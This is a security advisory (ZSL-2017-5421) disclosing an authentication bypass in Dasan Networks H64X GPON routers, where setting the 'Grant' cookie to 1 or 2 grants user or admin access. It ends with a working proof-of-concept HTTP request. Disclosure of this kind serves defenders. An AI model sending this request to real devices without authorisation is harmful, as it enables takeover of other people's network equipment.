Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The vulnerable device does not properly perform authentication
and authorization, allowing it to be bypassed through cookie manipulation.
Setting the Cookie 'Grant' with value 1 (user) or 2 (admin) will
bypass security controls in place enabling the attacker to take full
control of the device management interface.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5421
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5421.php


19.05.2017

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GET /cgi-bin/sysinfo.cgi HTTP/1.1
Host: 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Bond-James-Bond/007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: Grant=1; Language=english; silverheader=3c
Connection: close